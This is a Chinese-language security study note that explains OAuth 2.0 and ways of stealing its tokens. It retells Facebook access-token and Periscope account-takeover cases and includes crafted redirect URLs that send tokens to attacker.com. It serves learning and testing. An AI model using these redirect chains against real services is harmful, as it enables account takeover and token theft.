OAuth认证
OAuth是一种认证机制,它方便用户授权给第三方网站/应用,去访问他们在其他网站指定范围内的信息,同时又不会泄露密码。你肯定在一些网站使用过“通过QQ/微博/Facebook账号登录”的功能,它们的实现就利用了OAuth认证。
一般来说OAuth 1.0和2.0版本是不兼容的,这里只讨论最常用的2.0版本。
Philippe Harewood博客中的一张图描述了OAuth的大致过程:授权码授权模式(Authorization Code Grant)
图中示例对应OAuth中的一些概念:
- User’s Browser → Resource Owner
- Your App’s Server-side Code → Client
- Facebook API → Resource Server
整个过程就是你的浏览器作为Resource Owner,命令Resource Server允许 Client获取你指定范围内的个人信息。
具体步骤
理解
以“通过Facebook登录”为例
- 点击“通过Facebook登录”后,你的浏览器 (Resource Owner) 就发送了一条路径为
www.example.com/oauth/facebook
的GET请求 - www.example.com (Client) 发送一条302跳转响应引导你的浏览器访问其头信息中location指定的URL:
https://www.facebook.com/v2.0/dialog/oauth?client_id=123
&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback
&response_type=code&scope=email&state=XYZ
其中的参数表示:
- client_id:你来自哪个站点
- scope:可获取信息的范围
- redirect_uri:在你完成授权步骤后,Facebook (Resource Server) 应该把你重定向到哪个url
- response_type:Facebook应该返回的值类型,可以为token或code
- code:www.example.com 把它发送给Facebook来获取token
- token:www.example.com 使用token来向Facebook获取数据,Facebook会验证token是否正确
- state:类似于CSRF token的作用
- 当用户同意OAuth会话并授权www.example.com获取Facebook上的信息后,Facebook会响应给浏览器一个302重定向到www.example.com,具体路径由redirect_uri参数决定,响应中还包含code或者token值(由response_type决定,通常是code)
- 浏览器GET请求www.example.com,并包含code或token和state值
- www.example.com会验证state,确保没有数据篡改,并使用code和client_secret(只有www.example.com知道),去GET请求Facebook给予token
- Facebook返回给www.exmaple.com一个token,www.example.com得以持token来调用Facebook的API来获取指定scope内的数据
至此,当你再次访问第二步中的url时,所有的操作都不再需要用户交互。
助记
OAuth2中最典型的Authorization Code 授权模式,其大致流程如下:
漏洞
-
如果此处有open redirect漏洞,可以欺骗用户访问一个response_type和redirect_uri经过恶意篡改的URL,上面说到在首次授权后,每次访问步骤2的URL的后续操作都是自动完成的,攻击者可以通过这种方式盗取token。
具体来说,可以从步骤2开始测试,修改location中的 response_type,看看服务器是否会返回token
修改redirect_uri看看网站允许的url范围是否被错误配置,比如修改为www.example.ca或www.example.com@attacker.com(把前一部分视为用户名和密码发送到attacker.com),两种方式都可以将token发送到攻击者控制的服务器。
payload的部署也可以使用<img>标签,其中src属性指向篡改后的url
-
redirect url有限制时,
- redirect至一个包含远程图片的页面,这个图片来自攻击者服务器,这样加载图片时,请求头中referrer就是包含token的url
- redirect至包含存储型XSS的页面,或在redirect_ui中构造反射型XSS
实例:盗取Facebook官方Access Token
来自Philippe Harewood的博客
Philippe在https://www.facebook.com/search/me/apps-used中发现了某个应用在每个账号中都是默认认证的
说明这些应用不再需要用户手动授权
其中,Philippe发现了一个被错误配置的应用
授权时发送请求形如:
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_
id=APP_ID&redirect_uri=REDIRECT_URI
此处的REDIRECT_URI可以是攻击者拥有的url,
因此,受害者点击以上链接,就会被重定向至
http://REDIRECT_URI/access_token_appended_here
攻击者即可获取token
该token支持诸多权限,且可访问Facebook GraphQL API,意味着几乎支持所有权限,甚至可以列出Instagram的Access Token。
实例:绕过OAuth回调验证+多重任意redirect导致Periscope账号被接管
在请求Token阶段,Periscope使用了一种回调锁定的技术来防止
callback_url参数被重写,防止token被传到第三方。
它会检测callback_url中不允许有http://
,https://
,ftp://
协议,但twittersdk://
,whatever://
可以,但这个机制仅限callback_url是一个完整URI的情况下。
如果callback_url只是一个路径,就可以绕过检测,比如a/../home
,并且还允许目录遍历。
如果再利用一个推特的open redirect链接就能串起一个盗取token的完整攻击链:
- 攻击者用consumer key & secrect(内置于app中,可通过逆向工程获得),生成一个Periscope的token请求
- 受害者通过该请求授权Periscope app
- 受害者被重定向到一个open redirect链接(包含目录遍历)(例如
/redirect?url=http://attacker.com/#&oauth_token=...
) - 受害者再次被重定向到
http://attacker.com/#&oauth_token=...
(注意这个携带token的技巧:/redirect?url=http://attacker.com/#&oauth_token=...
) - 拿到token
open redirect链接:https://twitter.com/login?redirect_after_login=
实际上这个url也是被限定为twitter的子域名
此时可以利用Twitter广告的cards功能,其回调可以设为任意url,本身url也属于twitter子域名cards.twitter.com
则整个跳转链:
callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/card_id#&oauth_token=...
https://cards.twitter.com/card_id#&oauth_token=...
-
https://attacker.com
可以在referer中获取token
如果用户使用过Periscope的通过Twitter登录功能,验证就可以自动进行,整个攻击过程就不需要交互。
Resources
Swiping Facebook Official Access Tokens
Google Spreadsheet Vuln - CSRF and JSON Hijacking allows data theft
Reference
Web Hacking 101
Insufficient OAuth callback validation which leads to Periscope account takeover